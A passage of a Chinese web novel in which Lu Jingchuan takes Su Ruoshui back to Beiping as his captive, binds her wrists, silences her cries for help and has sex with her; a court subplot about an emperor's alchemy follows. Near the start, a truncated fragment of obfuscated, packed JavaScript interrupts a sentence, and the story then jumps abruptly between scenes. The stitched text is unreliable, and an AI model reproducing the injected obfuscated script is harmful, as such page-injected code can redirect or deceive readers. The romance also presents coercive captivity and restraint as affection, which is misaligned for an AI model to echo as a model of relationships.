周围响起起哄声,有人推搡着过来,身边的人将她揽进怀里,隔绝那些满身匪气的人。 苏弱水却好像嗅到一股浅淡的血腥气。 大当家地拎起一桶酒,“今日是我三弟大婚,兄弟们不醉不归!” - 苏弱水被陈火离带了回去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年另外一条膝盖也跟着上来,背脊挺直,压着双膝往前抵。 苏弱水双手撑在身后,后背触到冰冷的墙壁,退无可退。 她咬紧嫣红的唇,眼睫颤栗。 一只手突然攥住她的手腕,少年倾身过来,脸上的鬼面具在她面前无限放大。 苏弱水睁着眼,尖叫压在喉咙里,因为太恐惧,所以连眼泪都被吓住了。 嘴上说性命比贞操重要,真到了这种时候,苏弱水还是无法坦然接受。 她只是在更坏的处境里选择了一个相对坏的处境,就骗自己说,幸好没有更坏。 可实际上,现在的情况对于苏弱水来说已经是很坏了。 怀里的女人身体僵硬,她被他扑在床上,睁大眼,眼泪蕴在眼眶里,欲落未落。 突然,伏在她肩膀处的少年发出一声低笑。 那道笑声听得苏弱水浑身一颤。 “阿姐,是我。” 少年熟悉的声音在耳畔处响起,苏弱水眨了眨眼,浮在眼眶中的泪水湿漉漉的往下淌。 陆泾川坐直身体,顺便将苏弱水扶起来。 他的手指擦过她的下颚,摸到一手湿滑温热的泪水。他替她将垂落在面颊侧边的湿发往耳后拨,指腹擦过她冰冷的耳垂。 火红色的喜帐半落,少年跪坐在床边,看一眼流着眼泪的苏弱水,抬手取下脸上面具,露出那张熟悉的昳丽面孔。 苏弱水呆呆看着眼前的陆泾川,像是还没有回过神来。 “阿姐,怎么哭……”少年微笑着看她。 “啪”。 少年的脸被一巴掌打得偏了过去,白皙的面颊上瞬间就浮现出几道红痕。 空气寂静几秒,苏弱水一下冷静下来,她打完就后悔了。 虽然刚才是陆泾川恶趣味的故意吓她,但他深入土匪寨子来找她,她不应该这样对他。 少年低垂着头,看不清表情。 苏弱水试探性地伸出手,冰冷的指尖抚上少年绯红的面颊。 她刚想道歉,陆泾川蹭着苏弱水的手掌,微微抬眸看她,像只乖顺讨好的狗,“对不起,阿姐,我错了。” 40-48 第41章 阿姐,我爱你 苏弱水已经很久没有听到陆泾川说话了。 他的嗓音不是很沉, 甚至还带了点少年的清亮,可却令人不敢忽视。 分明语气和缓,甚至带了几分撒娇的意思, 可偏偏又带了几分戾气。 男人贴着她的脖颈说话, 气息喷洒在她的脖子上,苏弱水感觉自己那块肌肤都在发抖。 不, 是她全身都在发抖。 那是一种类似于野兽遇到危险时的第六感发作。 苏弱水动了动指尖, 下一刻,她抬脚奔出去。 屋门近在眼前,一只臂膀从后伸出,不费吹灰之力的将她抱起。 “啊!” 苏弱水腾空而起,被男人抱着往榻上去。 因为苏弱水畏冷,所以榻上铺了厚厚一层被褥, 她被压在被褥上,男人骑跨上来, 扯下女人蒙在眼睛上的白绸,手法利落的将她的双腕捆绑起来, 然后握住另外一端缠绕在自己的手腕上。 陆泾川双膝分开跪在苏弱水腰间, 高大的身体沉沉地坐在她身上,倒也没有坐实,只是虚虚压着她, 却也让她动弹不得。 “陆泾川……”苏弱水挣扎一下, 没有挣开。 她睁着一双看向男人,嗓音微哑。 “阿姐从前都叫我夫君,还叫我顾捡哥哥。”陆泾川慢条斯理抚过苏弱水的面颊,替她将黏在脸上的碎发拨开,露出那张瓷白轻薄的清冷脸孔。 此刻, 这张面孔之上多了几分惊慌无措,那双漆黑眼眸之中印出男人浅笑着的容貌,随后被积蓄起来的泪水模糊。 “是你先骗的我。”苏弱水分明是极有理的一方,可说话的时候却一点气势都没有。 确实,按照现在这个姿势,她也拿不出自己的气势来。 陆泾川勾着手里的绸带,手掌握紧,“喜欢这种事情,怎么能叫骗呢。” 男人倾身过来,面颊贴上苏弱水轻轻磨蹭,女人的泪水被他蹭到自己脸上。 “娘子不喜欢我吗?” 陆泾川生得极好,这样一张脸对着人撒娇的时候,想必没有人能拒绝。 虽然明知陆泾川做的那些恶劣事,但苏弱水对着这张脸却实在说不出“不喜欢”这三个字。 “你为什么不是真的顾捡。”因此,苏弱水只能无助又崩溃的说出这句话。 陆泾川的脸色顿了顿,随后,他又缓慢笑了笑,“我可以一辈子都是顾捡的,阿姐。” 是啊,如果她没有发现的话,他真的准备做一辈子顾捡吗? 苏弱水看向陆泾川的眼神之中带上了几分迷茫。 陆泾川到底图什么呢? “阿姐,我爱你。”男人细细亲着她的面颊,黑沉的眼眸之中浸着一股执拗和疯狂的欲色。 苏弱水偏头,咬唇,随后轻启檀口,“我不爱你。” 男人轻笑一声,“没关系的,我爱阿姐就好了。” 疯子!- 苏弱水知道,原本陆泾川是不打算带她回北平的。 青绸马车内,苏弱水手腕上的白绸带依旧没有被解开,她被陆泾川用大氅裹着,从屋子里抱出来,直接抱到院子里的马车内。 马车里垫了软垫,置了一个食盒,还有一张茶案,上面放着新鲜热好的奶茶。 “阿姐,喝奶茶。” 陆泾川将苏弱水抱在怀里,一只手圈着她的腰,另外一只手端着奶茶喂她。 “我不喝。”苏弱水蹙眉,偏过头,“你把这个解开。” 男人置若罔闻,只是将奶茶放了回去,然后亲了亲苏弱水的面颊,又去亲她的脖颈。 “陆泾川……”苏弱水吓得脸色都白了,“我喝奶茶,你拿过来。” 男人贴着她的脖颈,轻轻笑了笑,重新将奶茶端过来放到她唇边。 苏弱水就着陆泾川的手吃了两口奶茶,就不用了。 陆泾川又打开食盒,露出里面苏弱水常用的一些糕点。 “阿姐想吃哪个?芙蓉糕?还是桂花糕?” “都不想吃。”说完,苏弱水顿了顿,眼睛往陆泾川脸上瞥了瞥。 男人笑眯眯地看着她,看起来脾气很好的样子。 苏弱水赶忙道:“桂花糕吧。” 陆泾川拿了一块桂花糕送到苏弱水面前,她咬了一口,滋味一般,没有她平日里吃的好吃。 “走得太急,没有办法亲自给娘子做桂花糕,等到了北平安顿下来,我再亲自给娘子做,娘子不要生气。” 她生气难道是因为没有吃到你做的桂花糕吗? 苏弱水忍着翻白眼的冲动,生怕又刺激到他,只是瘪着嘴不说话。 马车辘辘行驶起来,苏弱水被陆泾川揽在怀里,一会玩玩她的头发,一会玩玩她的手。 苏弱水没有管他,一直到马车驶出院子,来到街上。 苏弱水突然大喊,“绑架……呜呜呜……” 一只手眼疾手快地捂住她的嘴。 陆泾川侧过身来看她。 苏弱水睁着一双黑乌乌的眼睛,脸色憋得通红。 她抬起被绑在一起的双手去扒拉陆泾川的手,可男人的手如铁钳一般无法撼动。 终于,陆泾川松开了手。 苏弱水立刻大口喘气,一边咳嗽,一边使劲吸气,喉管被吸进去的冷空气迅速扩张,带来一股刺痛感。 “咳咳咳咳……”苏弱水咳得不能自己,男人慢条斯理替她擦拭唇角溢出来的唾液。 可实际上他的手上也不干净,都是苏弱水因为无法呼吸,所以漫出来的唾液,黏腻地糊在他的掌心,湿漉漉地擦过她的唇角。 也没有擦干净,陆泾川也不嫌弃,就那么将面颊贴上来蹭了蹭苏弱水的脸,“阿姐,乖一点。” 苏弱水彻底没了脾气,她靠在陆泾川怀里,整个人还在发软。 马车驶出闹市区,苏弱水也彻底没了喊救命的心思。 陆泾川贴着她轻轻晃悠,跟抱着一个大型玩偶似的,时不时还要喂她喝上几口奶茶,吃上几口糕点。 苏弱水被喂得有些撑,偏头躲开他,“我吃不下了。” 说完,她神色蔫蔫地靠在马车壁上,伸出手无聊地抠马车壁上面贴着的金色小梅花装饰品。 “是金子做的吗?” 苏弱水低声嘟囔。 陆泾川看她一眼,凑过来,“大抵是吧,寻了附近最好的马车行买的。” 苏弱水拧着眉抖了抖肩,没有把靠在自己肩膀上的陆泾川抖掉,她无声泄气,将靠近她这里的这片金色小梅花全部抠了下来。 马车停在路边一个茶摊处,守在马车周围假扮成商户奴仆的暗卫们分批去解手。 “阿姐要不要去更衣?我抱阿姐去。” “你解开我,我可以自己去。” 男人盯着她看了一会,终于松开她。 苏弱水揉了揉自己的手腕,上面已经被勒出红痕,虽然说并没有破皮,但也疼得厉害。 男人低头查看她的手腕,眉头微微皱起,显然是没有想到被勒得如此明显。 陆泾川低头,轻轻舔舐过那圈伤痕。 苏弱水瞪着一双眼使劲收手,然后手腕在衣摆上猛擦。 陆泾川撑着下颚看她。 苏弱水气恼,抓过他的衣摆继续擦。 “阿姐够用吗?要我把衣裳脱下来吗?” 苏弱水:…… 苏弱水惊得一把甩开男人的衣摆。 “我去更衣。” 她撑着身子坐起来,身后的陆泾川殷勤的替她戴上帷帽,并撩开马车帘子。 苏弱水下了马车,隔着帷帽看一眼四周,没有茅厕,只有前面不远处有片林子。 初春时节,林子还不算茂盛,遍地枯枝桠上只有短短一截青翠嫩芽,灰败的灌木杂草之中零星渗透出几分绿色生气。 苏弱水慢吞吞走过去,转头,就看到跟在身后的陆泾川。 苏弱水抿唇,没有说话,只是继续往前走,直到进了林子,她才回头跟陆泾川道:“你别看我。” 陆泾川挑眉,转过了身。 苏弱水提裙,蹲下来,将手里的帷帽放在草丛里,然后安静地猫着身子往前爬。 地上多碎石,苏弱水的膝盖和手掌被咯得有些疼。 她努力忍着,不发出一点声音。 可惜,没有爬出多远,她面前出现一双脚。 苏弱水没有抬头,她保持低着头的姿势,慢慢改变姿势,从跪爬到跪坐,再到蜷缩着蹲下来。 动作像一只乌龟。 思想像一只把头埋进沙子的鸵鸟。 陆泾川双手环胸站在那里,俯身的时候看到女人纤细的脖颈低低垂着,她声音很轻,带着一股蔫蔫的味道,“你要是有病,就去吃点药吧。” 陆泾川也不恼,他跟着蹲下来,凑过来亲她,然后掰开她的手,将她藏在掌心里面,准备当路费用的纯金小梅花拿出来扔掉,“阿姐就是我的药。”- 苏弱水被陆泾川重新抱回了马车里。 他戴着黑色帷帽,在外面要了半盆热水,然后拿了干净帕子过来,一点一点的替苏弱水把弄脏的手指擦干净。又取出药膏,沿着她手腕泪痕处轻轻抹上一圈,最后低头吹了吹。 “疼吗,阿姐?” 苏弱水消极抵抗,没有理他。 陆泾川也不觉得尴尬,继续给她另外一只手腕上的伤痕抹药。 处理完,陆泾川随手将那些东西递给外面的马车夫,然后继续抱着苏弱水。 车子很窄吗?为什么非要贴着她。 “车内没有生炭盆,阿姐畏冷。” 陆泾川替她紧了紧身上的大氅,正大光明地抱她- 一队人吃饱喝足,再次上路。 苏弱水闭着眼假寐,没想到真的睡过去了。 马车摇摇晃晃,苏弱水蜷缩在陆泾川怀里,做梦自己抱着一个大暖炉,睁开眼的时候正看到陆泾川那张惊艳绝伦的脸。 他们一起挤在马车里,身上盖着同一件大氅。 男人闭着眼眸,微微仰头靠在马车壁上,身体随着马车轻微摇晃。 苏弱水缓慢起身,抬手撩开马车帘子。 马车走了一日,已经离开宣府。 郊外野草漫地,林木丛生。 他们一行人伪装成行商之人,再过两日就能回到北平。 夜间,他们一行人宿在附近一家客栈。 这是一处距离北平不远的小镇,略显荒僻,只有一家上房,自然是她跟陆泾川住。 苏弱水坐在窗前,夕阳日落,她盯着院子看。 客栈不算大,整个屋子散发着一股陈旧的味道,陆泾川正在替苏弱水收拾床铺,换上新的床单被套。然后又去外面搬了炭盆进来,从马车内取了自备的银骨炭替她点上。 屋内逐渐暖和起来,苏弱水却依旧坐在窗台前没有动。 陆泾川走过来,往她身上披了一件斗篷。 白日里温度回升,一到晚间就开始冷了。 “阿姐在看什么?”陆泾川握住苏弱水的手,“这里方圆十里只有这一家客栈,听说夜间还常有野猪出没伤人。” 这是在警告她不要乱跑。 苏弱水还是没有说话,陆泾川的表情沉了沉,可很快恢复过来。 他用面颊蹭了蹭苏弱水,“我让人给阿姐准备洗澡水,颠簸了一日,我们早点休息。” 陆泾川推开门出去了,客栈不大,客人也不多,里里外外守好了暗卫。 他寻到客栈老板,先是要了热水,然后又亲自去厨房看了菜,最后挑了几样,给苏弱水做了晚膳,才提着食盒往回去。 陆泾川推开屋门,屋子里却空无一人,只有那个炭盆燃烧正旺。 陆泾川面无表情地走进去,将手里的食盒放到桌子上。 暗卫从外面进来,“主子。” 陆泾川侧头看他,“人呢?” “我们的人守好了出口,夫人没有出去。” “找。”- 客栈后面有一大片林子,苏弱水进来的时候就看到了。 她从院子里找了一个木棍,然后蹲在竹林里挖笋。 天色越来越黑,苏弱水逐渐看不见了,她只挖到一根。 这一根也不够吃啊。 苏弱水摸索着继续往前,摸到一个半圆形的东西。 她歪了歪头,继续往上,是一双长腿。 “阿姐。” 吓! 苏弱水猛地一下松手,仰头看过去。 借着林子里唯一一点光色,苏弱水眯眼看清楚了眼前的人。 “你在干嘛?”陆泾川弯腰朝她看过来。 苏弱水举了举手里的笋。 “挖这个。” 男人半张脸隐在黑暗里,在看到苏弱水手里的春笋后,脸上戾气消失,重新覆了笑脸,“阿姐想吃笋?” 她现在的人生也就这点乐趣了。 苏弱水继续闷头找笋,可实在是太黑了,“你带灯笼了吗?” “我替阿姐去拿。” 陆泾川转身去拿灯笼,苏弱水蹲在那里继续等待。 蹲得有些久了,她站起来伸了一个懒腰,然后立刻就被穿林而过的冷风吹得浑身一抖。 嘶,好冷。 陆泾川回来的很快,他是小跑着过来的,手里提着一盏红灯笼,林子里浅浅晕出他的轮廓,修长的身形,扎高的马尾,跑过来的时候身上似乎还残留着从前那一点少年气。 “阿姐,我把灯笼拿过来了。” “你没有拿篮子吗?” “哦。” 陆泾川又小跑着去拿篮子。 “铲子。” “哦。” 陆泾川又跑着去拿铲子。 工具终于齐全,苏弱水蹲累了,坐在搭着陆泾川外袍的石头上看他在那里挖笋。 男人动作很快,挖了一些嫩笋,然后提在手里,另外一只手拿着红灯笼,走到苏弱水面前,“阿姐,回去吧。” 苏弱水站起来,陆泾川弯腰去拿他的外衫。 “阿姐,帮我拿一下灯笼。” 苏弱水抬手去接陆泾川手里的红灯笼,他随手将外衫挂在臂弯上,然后去牵她的手。 苏弱水抽了抽,没抽开。 两人走在竹林里,苏弱水踩着细碎的泥土,“陆泾川,你放我走吧。” 男人攥着她的力道霍然加重,“不行。” 苏弱水抿唇,语气之中充满了不解,“你到底喜欢我什么?” 陆泾川的眼神游移了一阵,最后落到苏弱水脸上,“阿姐说,我不是一个好人。” 然后呢? 苏弱水还在等陆泾川说话,可男人却不说了。 没有了? 苏弱水没有懂这句话是什么意思。 “阿姐不记得了。”陆泾川唇角下压。 苏弱水决定实话实话,“不记得了。” 男人那边噎了噎,疾走出几步,又转回去牵苏弱水的手,捏着她的指尖,低声呢喃,“我记得就好。”- 陆泾川直接拎着笋进了厨房,苏弱水则是自己回到屋子,她打开门,屋内热气迎面扑来,她赶紧到炭盆边烤了火,等身子暖和下来,才看到那个被放在桌子上的食盒。 苏弱水愣了愣,走过去打开食盒,里面都是她爱吃的菜。 因为挖笋花费了一些时间,所以这些菜都冷了。 苏弱水把它们端出来,刚刚吃上一口,那边陆泾川就端着炒好的笋过来了。 “菜都冷了,我替阿姐重新炒一份。” 陆泾川将这些冷菜收走,提着食盒重新回了厨房。 苏弱水盯着那唯一一盘红焖笋,慢条斯理吃了几口。 那边陆泾川动作很快,又提了一食盒上来。 其实苏弱水吃不了那么多,她每个菜都尝了几口,然后又吃了半碗珍珠米,就差不多了。陆泾川照旧将苏弱水吃剩下的用完了,然后拎着食盒下来,顺便让人把热水抬了上来。 洗澡的地方就在这个屋子的隔壁。 天色已晚,苏弱水洗完澡后就上了床。 她抬手勾下帐子,床帐落下。 下一刻,一只手从床帐缝隙里伸进来。 陆泾川抬手拨开面前的床帐,他黑发未梳,披散在后背,身上穿着白色亵衣,敞开着衣襟,露出锁骨和腰腹。 “只有一张床,阿姐要跟我挤一挤了。” 嘴上这样说,陆泾川的动作却一点都不客气。 他径直跪了进来,压着被褥,贴到苏弱水身边。 苏弱水呼吸一窒。 她双臂撑在身后,往后退去。 陆泾川掐住她的脚踝,跪到她身前,那张极具冲击力的面孔盈满她的双眸,“阿姐疼疼我。” 第42章 明月高悬,我要独揽 屋内灯光大亮, 陆泾川圈着苏弱水动作。 “慢一点……”苏弱水喘不上气。 陆泾川亲着她的脖颈,薄薄的一片肌肤,被他亲得泛红。 苏弱水受不了地仰头, 青色的经络从白细的肌肤内浮现出来, 呈现出脆弱的美感。 陆泾川沿着经络亲,一直到锁骨处。 “阿姐, 叫我夫君。” 苏弱水抿唇不言, 被弄得实在受不了了,才哭着叫了一声。 “夫君……” 女人的嗓音变了,多了一股不一样的味道,带着一股湿气,连眼尾都浸出一股媚态。 陆泾川换了姿势。 屋内灯光太亮,苏弱水被男人搂在怀里。 修长白皙的指骨压着她的后背, 紧紧的贴着纤薄的蝴蝶骨。 不知过了多久,陆泾川神色餍足地亲她。 第三日, 他们终于回到北平。 马车内,苏弱水被陆泾川圈在怀里, 她抬手撩开马车帘子, 看到北平熟悉的街道。 大街上很多地方都挂了红绸,看起来像是有什么喜事。 陆泾川凑过来,从后面搂着她说话, “今日是阿姐与那代王世子大婚的日子, 阿姐高兴吗?” 苏弱水想,她有什么可高兴的。 “这好事给你?” 显然是没有想到苏弱水会这样回答,陆泾川一顿,随后大笑起来,笑得眼泪都出来了。 “阿姐, 阿姐,阿姐,我就知道你是不愿意的。” “阿姐不喜欢他,对不对?” 陆泾川跟少年时已经不能比了,他长得又高又壮,跟一堵墙似的,可还是喜欢抱着她撒娇,说话的时候带着尾音,黏黏腻腻地搂着她轻轻晃悠,时不时还要亲她一下。 马车本就在晃,陆泾川还要搂着她晃,苏弱水觉得自己快要被晃吐了。 “你别晃了,我想吐。” 陆泾川不晃了,只亲她。 马车路过苏弱水常去的那家点心铺子,陆泾川还下去给她买了一食盒点心,足足垒了五层。 “阿姐尝尝这个,听说是它们家新出的红杏干。” 马上就要走剧情点了,陆泾川看起来一点都不紧张,还在这里吃红杏干。 苏弱水挑了一颗放进嘴里,觉得味道不错,又吃一颗。 她再去拿第三颗的时候,陆泾川突然端着那盒红杏干拿远。 苏弱水歪头。 陆泾川随手挑了一颗红杏干咬住,然后一把扣住她的后脑勺。 “唔……” 苏弱水伸手推他,根本就推不动,反而被他压倒了。 红杏干被搅得乱七八糟- 马车停在北平王府门口,虽是与一个死人成亲,但这场婚事依旧办得隆重。 他们的马车一路过来,能看到从北平王府门口排到街尾的队伍。 北平王府门口挂了两盏红灯笼,陆泾川单手撑着下颚盯着那两盏红灯笼看。 他头上戴着黑色薄纱帷帽,单手撩开马车窗帘,门口有迎宾的奴仆上前道:“这位贵人,请问是哪家的?” 陆泾川没有回答,只是从腰间取出一柄匕首,然后眯着眼往前一掷。 那柄匕首“唰”的一下斩断大红囍字灯笼上面挂着的线,然后用力钉在了大门上。 这分明是来挑事的。 奴仆面色大变,急急去喊人。 附近正在排队的宾客也跟着变了脸色,胆子小的缩在马车里,胆子大的探出头来看八卦,看不到的也大着胆子往前挤。 “阿姐,我们下去吧。”陆泾川转头,朝苏弱水伸出手来。 苏弱水抿了抿刺痛的唇,抬手,握住他,两人一齐下了马车。 门口的宾客自动分开两条路来,唯独从府里奔出来的护卫兵们手里拿着刀剑,寒光凛凛的对准两人。 陆泾川神色不变,慢条斯理地抬手取下脸上的黑色帷帽。 “世子爷?”有认识陆泾川的奴仆发出惊讶的声音。 那一瞬间,苏弱水听到周围倒吸一口凉气的声音。 不是说那位北平世子死了吗?连尸首都抬回来了,这是怎么回事?诈尸了? 大家交头接耳,窸窸窣窣。 刘飞闻讯赶来,一眼看到陆泾川,双眸睁大,“世子?” 陆泾川表情淡淡地颔首。 刘飞一抬手,护卫兵们纷纷放下武器。他的视线转向陆泾川牵在手里的那个女子,刘飞上前一步,神色难掩激动。 “是我,刘叔。”苏弱水抬手揭开脸上帷帽。 看着一对姐弟完完整整的出现在自己面前,刘飞这个只流血不流泪的战场老将忍不住红了眼眶。 外面的喧闹声引起了里面的注意。 老管家推着北平王从大殿内出来,男人满头银发束起,脸色很不好看,眼眸灰败,带着一股难掩的死气。可在看到苏弱水的瞬间,那双黯淡的眼眸瞬间亮起光彩,北平王撑着轮椅站起来。 “父王。”苏弱水唤了一声。 北平王踉跄着脚步,直直走到她面前,抬手抚上她的脸,确定是自己活生生的女儿之后,才重重地吐出一口气道:“回来了。” “嗯。”苏弱水点头。 北平王将视线转向站在苏弱水身边的陆泾川。 男人高大挺拔,甚至比北平王还要再高些,年轻的男子垂目拱手行礼,可不见半分卑微姿态,气势早已压过这位年近半百的老王爷。 “怎么回事?”北平王哑声开口,眼神变得锐利。 陆泾川抬眸,视线落到北平王身后。 那里,周宿抱着手里的牌位疾奔出来,他的眼中没有别人,只有苏弱水。 女人一袭素袄站在那里,露出半张清冷面孔,眼神淡淡地瞥过来,却让周宿的双眸都红了。 “弱水……”周宿低喃一句上前,被陆泾川抬手拦住。 男人手里的匕首抵在周宿脖颈间,挡在了他跟苏弱水中间。 “代王世子,我们的账还没算呢。” 短短一句话,现场气氛骤变。 其实北平王也查过悬崖坠马事件,只是并没有找到实质性的证据,这场意外实在是太像意外了。 “小舅子何出此言?”周宿脸上露出不解之色,然后视线一转,落到苏弱水脸上,仿佛没有看到那把横在自己脖颈上的匕首,表情骤然温和,“弱水,今日是我们成亲的日子,你是回来与我成亲的吗?” 苏弱水:…… 苏弱水侧身躲在陆泾川身后。 周宿表情渐渐变淡,“你不是回来与我成亲的吗?” “世子爷!”周宿的幕僚赵温疾奔出来,一眼看到那柄横在周宿脖颈间的匕首,面色大变,“北平王,你们北平就是这样对待代王世子的吗?” 北平王坐回轮椅上,他微微抬眸看向赵温,“有些误会,需要世子解释一下。” “只是误会而已,何必刀剑相向!你此举可是在挑起北平和开封的纷争!” 赵温话落,一柄长剑从后贴上他的脖子,是刘飞。 宾客们面面相觑,不敢吱声。 “关门。”北平王淡淡一句话,护卫军便将北平王府围拢成铁桶一般- 苏弱水被送回自己的明月楼休息了。 明月楼内的摆设并没有任何改变,小到一盆花,大到一张榻,里面的东西都被擦得一尘不染。 苏弱水坐在榻上,画屏和王妈妈抱着她好一顿哭,说看到她被周宿找回来的尸首时,两个人哭得几乎昏厥过去。 苏弱水赶紧细细安抚两人,然后又在他们面前转了一圈,说自己养得很好,没有受伤,只是为了查明真相,才会隐瞒身份。 “郡主,到底是谁要害您和世子啊?”王妈妈哭得眼睛红肿,说话的时候却恨得牙痒痒,“被老奴知道,定要将他碎尸万段!” “此事……”苏弱水想了想,柔声道:“是周宿。” 王妈妈和画屏双双愣在那里。 “代王世子?”两人脸上都露出不可置信的表情,“您和世子坠下山崖之后,代王世子带人寻了三天三夜,还病倒了,后来病好之后,日日为您抄经祈福,照料王爷……” 王妈妈和画屏对视一眼,都在各自的眼中看到了不可思议,“真没想到,他居然是这样的人。” 苏弱水没有多话,两人也没有继续谈论这个话题。 王妈妈起身去寻香,说要给菩萨还愿。 画屏赶紧替苏弱水准备衣物洗漱,然后看着苏弱水自己随意编出来的麻花辫皱了皱眉,“郡主在外头连头发都粗糙了,看着也……”画屏想说苏弱水在外头受苦,可仔细一看好像也没瘦,便将话咽了回去,只道:“世子将郡主照料的挺好。” 苏弱水单手托腮,看着镜子里的自己。 女人眉眼清冷依旧,只是若细看,便能发现多了几分女子妩媚。 苏弱水微微偏头,还能看到脖颈处的绯红痕迹。 她抬手压了压,拉高衣领。 那边画屏替她点上熏香,送来手炉,又将今日的菜品单子拿了过来,“郡主今日想用些什么?郡主在外头定是吃不到咱们府里的菜。” 确实,北平王府里面的厨子是苏弱水自己寻的,早已调教出来自己的口味。 苏弱水点了一个鹿肉,其余的便由下头自己上。 任凭外头风风雨雨,人还是得吃饭。 膳房很快就将晚膳送来了,苏弱水一人坐在桌前,手里拿着玉箸吃了一些,然后又用了一碗蒸酥酪垫底。 “画屏。”苏弱水将画屏唤了过来。 “郡主,怎么了?” “外头有什么消息吗?” 画屏压低声音,“护卫军将整个王府都围住了,今日留下的宾客们都被暂时安顿了下来,那位代王世子和他手底下的人都被关押了起来。” 苏弱水点了点头。 跟剧情一样。 想必现在陆泾川正在书房内跟北平王谈判,索要藩王之位- 北平王府书房。 陆泾川把玩着手里的匕首站在北平王面前。 多月未见,北平王老态更显,可更明显的是他身上带着的那种疲惫感。 其实在征战蒙古的这三年间,北平王的身体就已经不行了,一直都是在强撑罢了。 北平王抬眸看向面前的男人。 从前的少年郎褪去了那股青涩气,周身的气质变得越发隐匿,让人更加猜不透他的想法。 北平王缓慢开口,“代王世子的事,你想要怎么处理。” 陆泾川挑眉,“父王觉得,要如何处理?” 北平王知道,此次若非陆泾川和苏弱水命大,他就真的失去自己的女儿了。 北平王常年征战沙场,并非优柔寡断之辈。 “代王不好相与。”北平王沉吟半响,“今日宾客太多,如果是在无人知晓之地,周宿突发恶疾,暴毙而亡的话,此事也能了结了。” 现在却是有些难办。 陆泾川轻笑一声,侧身坐到太师椅上。 他搭起长腿,身子往后仰,手里的匕首慢条斯理刻在扶手上,发出“咔嚓咔嚓”的声音。 “代王那个老东西想要的是北平兵权,父王不会不知道吧?” 北平王按在轮椅扶手上的手下意识握紧。 他当然知道,只是周宿演的太好。 北平王难得糊涂一把,临了被陆泾川硬拉了回来。 “父王年纪大了,有些事情看不清楚。”陆泾川站起来,俯身低头看向面前的北平王,眼中的欲望几乎要满溢出来。 北平王和陆泾川对视,“你要这个位置。” 陆泾川轻蔑一笑,“我不要。” 北平王皱眉,“那你要什么?” 陆泾川双手撑在北平王的轮椅扶手上,身型缓慢下压,带着迫人气势,眼中浸出光,“我要当阿姐的丈夫。” 北平王神色平静地看着陆泾川,“你跟周宿一样,还不是要这个位置,不要把弱水牵扯进来。” 陆泾川直起身,“父王怎么就不明白呢。”他抬头看向窗户外印出的明月。 细细的一弯月亮悬挂在空中,周身透出薄薄的光。 陆泾川的呼吸逐渐加重,黑眸死死盯住这片惑人的月,“明月高悬,我要独揽。” 书房内陷入异常的沉默之中。 “弱水同意吗?” 陆泾川低头继续把玩匕首,没有说话。 北平王的表情变得严肃,“陆泾川,你不要太过分。” 陆泾川转身,笑意盈盈的样子,“父王,您老了。今日我只是来告诉您一声,毕竟您是阿姐的父亲。周宿的事情我会处理,您不用理会,安心养老即可。” 话罢,陆泾川转身要走。 一只手突然伸出握住他的臂膀。 陆泾川站在那里没有回头,只是微微偏头向下看。 北平王坐在轮椅上,上半身倾斜,用尽全力抓住了他,姿势有些狼狈。 “你到底要做什么?” 陆泾川抬臂,缓慢抽开北平王的手。 他没有回答北平王的话,而是望向远处,那是皇城的方向。 “我的眼线在皇城查到了一些陈年旧事。” 北平王一直都知道,陆泾川在培养自己的势力,可他没有想到,陆泾川的成长速度如此之快,简直到了令人瞠目结舌的地步。 陆泾川居然已经将手伸到了皇城。 “当今圣人迷恋卜卦之术,从前如此,现在也如此。” “若我没有记错,圣人与父王是亲兄弟。父王替自己的兄长守着北平,防范蒙古,一战便是几十年,真是愚忠啊。” “你到底要说什么?” “十五年前,国师秘密向圣人禀告,说北平有真龙之气现世,未来必会祸患无穷。父王知道的,圣人最信这些东西了。” 北平王的面色逐渐变得苍白。 “父王不会以为,苏锦书被拐真的只是一桩意外?”陆泾川转身,面对北平王,轻轻摇头。 陆泾川的语气很轻松,可是每一个字都砸在了北平王心尖上,像重锤一样,每一下都让他心脏骤缩,几乎致命。 “不是的,是因为苏锦书就是那个身怀真龙之气的人。国师说,真龙之气不可灭,只能改。” “父王,您该醒醒了,您看不到吗?这天下,真是一滩烂泥。”- 皇城西苑。 圣人身穿道袍盘腿坐在蒲垫上,面前焚着一炉香。 殿内点了百盏长明灯,照得整个西苑灯火通明。 壁上悬挂三清画像,圣人案上摆着桃木剑、罗盘、朱砂砚等物,一侧堆积着加盖了道教符箓的奏折尚未批阅。 突然,天际雷声大作。 圣人睁开眼,抬眸望向外面。 雷雨落下,国师急匆匆赶来。 殿门打开,国师伏跪于地。 圣人站起身,身形如鹤,手持拂尘,“昨日朕的梦,有解了吗?” “是。”国师抬眸,“圣人昨日梦到紫光冲天,那是大吉之兆,削藩之事,可行了。” 圣人脸上露出笑来,然后俯身朝国师道:“朕的丸药炼好了吗?” 国师立刻取出一个小盒,双手呈上。 圣人抖了抖袖子,小心接过,打开,里面是一颗红丸。 “这红丸真能让朕长生不老?” “圣人乃真龙天子,真龙之气在身,得上天庇佑,此丹以朱砂、秋石,雄黄炼制,辅佐以晨露,服下可延年益寿,长生不老,只是需要陛下清心寡欲,方能奏效。” 圣人颔首,郑重地收起盒子,然后站在殿内张开双臂,“国师看看,朕已经移居此处,每日素食,远离后宫,定不负国师所望。”说到这里,圣人一顿,想起另外一件事,“对了,国师,前些日子听说河南又发洪涝。” 国师道:“陛下放心,您是真龙天子,只需您带领百位童男童女一道诵经念佛三日,便能消灾。另外,还需启用青词写得好的大臣加强辅佐,才能事半功倍。” “好,好。”圣人抚掌,立刻下旨令人选百名童男童女入西苑诵经祈福,并让青词写得好的一些大臣撰写青词,明日呈上- 苏弱水用完了晚膳,在画屏的服侍下沐浴歇息。 她躺在床上,柔软的绸缎被褥盖在身上,整个人都舒服的像躺在云朵里。 果然啊,人这种生物,由奢入俭难。 被伺候的舒舒服服的苏弱水嗅着熟悉的昂贵熏香,穿着舒服到几乎感受不到布料摩擦的绸缎睡衣,长发也被仔仔细细上了一层桂花油,梳得细腻顺滑。 床头置了一盏小夜灯,漂亮的琉璃灯巴掌大一个,工艺繁复,上面还坠着漂亮的粉色水晶流苏。 苏弱水伸出手拨了拨那几条粉色水晶流苏,冷不丁想起苏锦书。 其实身怀真龙之气的人不是苏锦书,而是伪装成苏锦书的陆泾川。 那位国师只算对了一半。 